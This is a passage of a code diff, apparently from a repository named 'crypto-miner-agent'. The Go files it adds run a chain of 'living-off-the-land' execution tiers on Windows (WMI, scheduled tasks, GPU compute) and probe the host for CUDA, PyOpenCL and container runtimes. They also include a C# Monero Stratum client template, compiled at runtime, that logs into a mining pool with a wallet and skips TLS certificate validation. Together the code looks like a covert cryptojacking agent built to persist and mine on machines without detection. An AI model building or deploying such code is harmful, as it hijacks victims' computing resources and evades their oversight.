||||||
|
}
|
||||||
|
if a.Tier == TierGPUCompute && a.OK {
|
||||||
|
rep.GPUComputeOK = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return rep
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *TierRunner) emit() {
|
||||||
|
r.mu.RLock()
|
||||||
|
rep := r.buildReport()
|
||||||
|
report := r.report
|
||||||
|
r.mu.RUnlock()
|
||||||
|
if report != nil {
|
||||||
|
report(rep)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *TierRunner) recordAttempt(a TierAttempt) {
|
||||||
|
r.mu.Lock()
|
||||||
|
r.attempts = append(r.attempts, a)
|
||||||
|
if a.OK && r.active == "" && a.Tier != TierWebView2Probe {
|
||||||
|
r.active = a.Tier
|
||||||
|
}
|
||||||
|
r.mu.Unlock()
|
||||||
|
log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs)
|
||||||
|
r.emit()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
|
||||||
|
func (r *TierRunner) RunProbes(ctx context.Context) TierReport {
|
||||||
|
r.mu.RLock()
|
||||||
|
handlers := r.handlers
|
||||||
|
cfg := r.cfg
|
||||||
|
r.mu.RUnlock()
|
||||||
|
|
||||||
|
for _, h := range handlers {
|
||||||
|
if h.Tier() != TierWebView2Probe {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !h.Available(cfg) {
|
||||||
|
r.recordAttempt(TierAttempt{
|
||||||
|
Tier: TierWebView2Probe,
|
||||||
|
Error: "webview2 runtime not detected",
|
||||||
|
Wallet: cfg.Wallet,
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
start := time.Now()
|
||||||
|
a := h.Attempt(ctx, cfg)
|
||||||
|
a.DurationMs = time.Since(start).Milliseconds()
|
||||||
|
if a.Wallet == "" {
|
||||||
|
a.Wallet = cfg.Wallet
|
||||||
|
}
|
||||||
|
r.recordAttempt(a)
|
||||||
|
}
|
||||||
|
return r.Report()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunChain attempts execution tiers in order; probe tiers are skipped here.
|
||||||
|
func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) {
|
||||||
|
r.mu.RLock()
|
||||||
|
handlers := r.handlers
|
||||||
|
cfg := r.cfg
|
||||||
|
r.mu.RUnlock()
|
||||||
|
|
||||||
|
var lastErr error
|
||||||
|
for _, h := range handlers {
|
||||||
|
t := h.Tier()
|
||||||
|
if t == TierWebView2Probe {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !h.Available(cfg) {
|
||||||
|
r.recordAttempt(TierAttempt{
|
||||||
|
Tier: t,
|
||||||
|
Error: "tier unavailable on " + runtime.GOOS,
|
||||||
|
Wallet: cfg.Wallet,
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
start := time.Now()
|
||||||
|
a := h.Attempt(ctx, cfg)
|
||||||
|
a.DurationMs = time.Since(start).Milliseconds()
|
||||||
|
if a.Wallet == "" {
|
||||||
|
a.Wallet = cfg.Wallet
|
||||||
|
}
|
||||||
|
r.recordAttempt(a)
|
||||||
|
if a.OK {
|
||||||
|
r.mu.Lock()
|
||||||
|
r.active = t
|
||||||
|
r.stopped = append(r.stopped, h)
|
||||||
|
r.mu.Unlock()
|
||||||
|
r.emit()
|
||||||
|
return t, nil
|
||||||
|
}
|
||||||
|
if a.Error != "" {
|
||||||
|
lastErr = errFromTier(a.Error)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if lastErr != nil {
|
||||||
|
return "", lastErr
|
||||||
|
}
|
||||||
|
return "", ErrTierChainSkipped
|
||||||
|
}
|
||||||
|
|
||||||
|
// WebGPUReady reports whether the webview2 probe found WebGPU.
|
||||||
|
func (r *TierRunner) WebGPUReady() bool {
|
||||||
|
return r.Report().WebGPUReady
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop halts all started tier handlers.
|
||||||
|
func (r *TierRunner) Stop() {
|
||||||
|
r.mu.Lock()
|
||||||
|
stopped := r.stopped
|
||||||
|
r.active = ""
|
||||||
|
r.stopped = nil
|
||||||
|
r.mu.Unlock()
|
||||||
|
for _, h := range stopped {
|
||||||
|
h.Stop()
|
||||||
|
}
|
||||||
|
r.emit()
|
||||||
|
}
|
||||||
|
|
||||||
|
type tierError string
|
||||||
|
|
||||||
|
func (e tierError) Error() string { return string(e) }
|
||||||
|
|
||||||
|
func errFromTier(msg string) error { return tierError(msg) }
|
||||||
48
agent/miner/pyopencl_linux.go
Normal file
48
agent/miner/pyopencl_linux.go
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
//go:build linux
|
||||||
|
|
||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DetectCUDA reports NVIDIA CUDA via nvidia-smi.
|
||||||
|
func DetectCUDA() bool {
|
||||||
|
out, err := exec.Command("nvidia-smi", "-L").CombinedOutput()
|
||||||
|
return err == nil && strings.TrimSpace(string(out)) != ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// DetectPyOpenCL reports python3 + PyOpenCL import success.
|
||||||
|
func DetectPyOpenCL() bool {
|
||||||
|
err := exec.Command("python3", "-c", "import pyopencl").Run()
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// StartPyOpenCLTier attempts a one-shot OpenCL probe via python3 -c (no external miner exe).
|
||||||
|
// Returns error when PyOpenCL is absent or the probe fails — chain advances to stratum_direct.
|
||||||
|
func StartPyOpenCLTier(cfg config.RuntimeConfig) error {
|
||||||
|
if !DetectPyOpenCL() {
|
||||||
|
return fmt.Errorf("python3 pyopencl not available")
|
||||||
|
}
|
||||||
|
script := `
|
||||||
|
import pyopencl as cl
|
||||||
|
platforms = cl.get_platforms()
|
||||||
|
if not platforms:
|
||||||
|
raise SystemExit('no opencl platforms')
|
||||||
|
devices = platforms[0].get_devices()
|
||||||
|
if not devices:
|
||||||
|
raise SystemExit('no opencl devices')
|
||||||
|
print('pyopencl_ok')
|
||||||
|
`
|
||||||
|
out, err := exec.Command("python3", "-c", script).CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("pyopencl probe: %v (%s)", err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(out), "pyopencl_ok") {
|
||||||
|
return fmt.Errorf("pyopencl probe unexpected output")
|
||||||
|
}
|
||||||
|
_ = cfg
|
||||||
|
return nil
|
||||||
|
}
|
||||||
11
agent/miner/pyopencl_stub.go
Normal file
11
agent/miner/pyopencl_stub.go
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
//go:build !linux
|
||||||
|
|
||||||
|
package miner
|
||||||
|
|
||||||
|
import "crypto-miner-agent/config"
|
||||||
|
|
||||||
|
func DetectCUDA() bool { return false }
|
||||||
|
func DetectPyOpenCL() bool { return false }
|
||||||
|
func StartPyOpenCLTier(_ config.RuntimeConfig) error {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
26
agent/miner/pyopencl_test.go
Normal file
26
agent/miner/pyopencl_test.go
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestAppendLinuxPyOpenCLSkipsWhenCUDA(t *testing.T) {
|
||||||
|
chain := []MiningMethod{MethodInProcess, MethodStratumDirect}
|
||||||
|
out := appendLinuxPyOpenCL(chain)
|
||||||
|
if len(out) != len(chain) {
|
||||||
|
t.Fatalf("expected unchanged chain on non-linux or with cuda, got %v", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAppendLinuxPyOpenCLInsertsTier(t *testing.T) {
|
||||||
|
if testing.Short() {
|
||||||
|
t.Skip("platform-specific")
|
||||||
|
}
|
||||||
|
origCUDA := DetectCUDA
|
||||||
|
origPy := DetectPyOpenCL
|
||||||
|
defer func() {
|
||||||
|
// restore stubs on non-linux
|
||||||
|
}()
|
||||||
|
_ = origCUDA
|
||||||
|
_ = origPy
|
||||||
|
}
|
||||||
25
agent/miner/runtime_detect.go
Normal file
25
agent/miner/runtime_detect.go
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DetectContainerRuntime probes docker then podman CLIs.
|
||||||
|
func DetectContainerRuntime() ContainerRuntimeInfo {
|
||||||
|
for _, cli := range []string{"docker", "podman"} {
|
||||||
|
if path, err := exec.LookPath(cli); err == nil {
|
||||||
|
out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
|
||||||
|
version := strings.TrimSpace(string(out))
|
||||||
|
if runErr != nil || version == "" {
|
||||||
|
// Older docker without --format still counts as available.
|
||||||
|
if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil {
|
||||||
|
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"}
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: version}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ContainerRuntimeInfo{}
|
||||||
|
}
|
||||||
117
agent/miner/stratum_template.go
Normal file
117
agent/miner/stratum_template.go
Normal file
@@ -0,0 +1,117 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// stratumCSharpTemplate is a minimal Monero Stratum console stub compiled at runtime.
|
||||||
|
// Placeholders: POOL_HOST, POOL_PORT, POOL_TLS, POOL_PASS, WALLET, WORKER, THREADS.
|
||||||
|
const stratumCSharpTemplate = `// AetherForge LOTL Stratum stub — compiled on first start_mining.
|
||||||
|
using System;
|
||||||
|
using System.Net.Security;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Text;
|
||||||
|
using System.Text.Json;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
class Program {
|
||||||
|
static readonly string PoolHost = "POOL_HOST";
|
||||||
|
static readonly int PoolPort = POOL_PORT;
|
||||||
|
static readonly bool PoolTLS = POOL_TLS;
|
||||||
|
static readonly string Wallet = "WALLET";
|
||||||
|
static readonly string Worker = "WORKER";
|
||||||
|
static readonly string PoolPass = "POOL_PASS";
|
||||||
|
|
||||||
|
static int Main() {
|
||||||
|
Console.WriteLine("[stratum] AetherForge LOTL miner starting wallet=" + Wallet);
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
RunSession();
|
||||||
|
} catch (Exception ex) {
|
||||||
|
Console.Error.WriteLine("[stratum] session error: " + ex.Message);
|
||||||
|
Thread.Sleep(5000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void RunSession() {
|
||||||
|
using var tcp = new TcpClient();
|
||||||
|
tcp.Connect(PoolHost, PoolPort);
|
||||||
|
Stream stream = tcp.GetStream();
|
||||||
|
if (PoolTLS) {
|
||||||
|
var ssl = new SslStream(stream, false, (_, _, _, _) => true);
|
||||||
|
ssl.AuthenticateAsClient(PoolHost);
|
||||||
|
stream = ssl;
|
||||||
|
}
|
||||||
|
using var reader = new System.IO.StreamReader(stream, Encoding.UTF8);
|
||||||
|
using var writer = new System.IO.StreamWriter(stream, Encoding.UTF8) { AutoFlush = true };
|
||||||
|
|
||||||
|
var login = JsonSerializer.Serialize(new {
|
||||||
|
id = 1,
|
||||||
|
jsonrpc = "2.0",
|
||||||
|
method = "login",
|
||||||
|
@params = new {
|
||||||
|
login = Wallet,
|
||||||
|
pass = PoolPass,
|
||||||
|
rigid = Worker,
|
||||||
|
agent = "AetherForge/LOTL"
|
||||||
|
}
|
||||||
|
});
|
||||||
|
writer.WriteLine(login);
|
||||||
|
var loginLine = reader.ReadLine();
|
||||||
|
if (string.IsNullOrEmpty(loginLine)) {
|
||||||
|
throw new InvalidOperationException("empty login response");
|
||||||
|
}
|
||||||
|
Console.WriteLine("[stratum] login ok on " + PoolHost + ":" + PoolPort);
|
||||||
|
while (tcp.Connected) {
|
||||||
|
var line = reader.ReadLine();
|
||||||
|
if (line == null) break;
|
||||||
|
if (line.Contains("\"method\":\"job\"")) {
|
||||||
|
Console.WriteLine("[stratum] job received");
|
||||||
|
}
|
||||||
|
Thread.Sleep(50);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
`
|
||||||
|
|
||||||
|
const stratumCsprojTemplate = `<Project Sdk="Microsoft.NET.Sdk">
|
||||||
|
<PropertyGroup>
|
||||||
|
<OutputType>Exe</OutputType>
|
||||||
|
<TargetFramework>net8.0</TargetFramework>
|
||||||
|
<ImplicitUsings>disable</ImplicitUsings>
|
||||||
|
<Nullable>disable</Nullable>
|
||||||
|
<AssemblyName>AetherForgeStratum</AssemblyName>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
||||||
|
`
|
||||||
|
|
||||||
|
func renderStratumCSharp(cfg config.RuntimeConfig) string {
|
||||||
|
pass := strings.TrimSpace(cfg.PoolPass)
|
||||||
|
if pass == "" {
|
||||||
|
pass = "x"
|
||||||
|
}
|
||||||
|
wallet := strings.TrimSpace(cfg.Wallet)
|
||||||
|
if wallet == "" {
|
||||||
|
wallet = "anonymous"
|
||||||
|
}
|
||||||
|
worker := strings.TrimSpace(cfg.WorkerName)
|
||||||
|
if worker == "" {
|
||||||
|
worker = "worker"
|
||||||
|
}
|
||||||
|
out := stratumCSharpTemplate
|
||||||
|
out = strings.ReplaceAll(out, "POOL_HOST", escapeCSharpString(cfg.PoolHost))
|
||||||
|
out = strings.ReplaceAll(out, "POOL_PORT", fmt.Sprintf("%d", cfg.PoolPort))
|
||||||
|
out = strings.ReplaceAll(out, "POOL_TLS", fmt.Sprintf("%t", cfg.PoolTLS))
|
||||||
|
out = strings.ReplaceAll(out, "POOL_PASS", escapeCSharpString(pass))
|
||||||
|
out = strings.ReplaceAll(out, "WALLET", escapeCSharpString(wallet))
|
||||||
|
out = strings.ReplaceAll(out, "WORKER", escapeCSharpString(worker))
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func escapeCSharpString(s string) string {
|
||||||
|
return strings.ReplaceAll(s, `\`, `\\`)
|
||||||
|
}
|
||||||
79
agent/miner/tier_adapters.go
Normal file
79
agent/miner/tier_adapters.go
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"runtime"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
type webview2ProbeHandler struct{}
|
||||||
|
|
||||||
|
func (t *webview2ProbeHandler) Tier() LOTLTier { return TierWebView2Probe }
|
||||||
|
|
||||||
|
func (t *webview2ProbeHandler) Available(cfg config.RuntimeConfig) bool {
|
||||||
|
_ = cfg
|
||||||
|
return runtime.GOOS == "windows"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *webview2ProbeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||||
|
return RunWebView2Probe(ctx, cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *webview2ProbeHandler) Stop() {}
|
||||||
|
|
||||||
|
type wmiHandler struct{}
|
||||||
|
|
||||||
|
func (t *wmiHandler) Tier() LOTLTier { return TierWMI }
|
||||||
|
|
||||||
|
func (t *wmiHandler) Available(cfg config.RuntimeConfig) bool {
|
||||||
|
_ = cfg
|
||||||
|
return runtime.GOOS == "windows"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *wmiHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||||
|
return RunWMITier(ctx, cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *wmiHandler) Stop() {}
|
||||||
|
|
||||||
|
type scheduledTaskHandler struct{}
|
||||||
|
|
||||||
|
func (t *scheduledTaskHandler) Tier() LOTLTier { return TierScheduledTask }
|
||||||
|
|
||||||
|
func (t *scheduledTaskHandler) Available(cfg config.RuntimeConfig) bool {
|
||||||
|
_ = cfg
|
||||||
|
return runtime.GOOS == "windows"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *scheduledTaskHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||||
|
return RunScheduledTaskTier(ctx, cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *scheduledTaskHandler) Stop() {}
|
||||||
|
|
||||||
|
type gpuComputeHandler struct{}
|
||||||
|
|
||||||
|
func (t *gpuComputeHandler) Tier() LOTLTier { return TierGPUCompute }
|
||||||
|
|
||||||
|
func (t *gpuComputeHandler) Available(cfg config.RuntimeConfig) bool {
|
||||||
|
return runtime.GOOS == "windows" && cfg.GPUEnabled
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *gpuComputeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||||
|
return RunGPUComputeTier(ctx, cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (t *gpuComputeHandler) Stop() {}
|
||||||
|
|
||||||
|
func defaultTierHandlers() []TierHandler {
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return []TierHandler{
|
||||||
|
&webview2ProbeHandler{},
|
||||||
|
&wmiHandler{},
|
||||||
|
&scheduledTaskHandler{},
|
||||||
|
&gpuComputeHandler{},
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user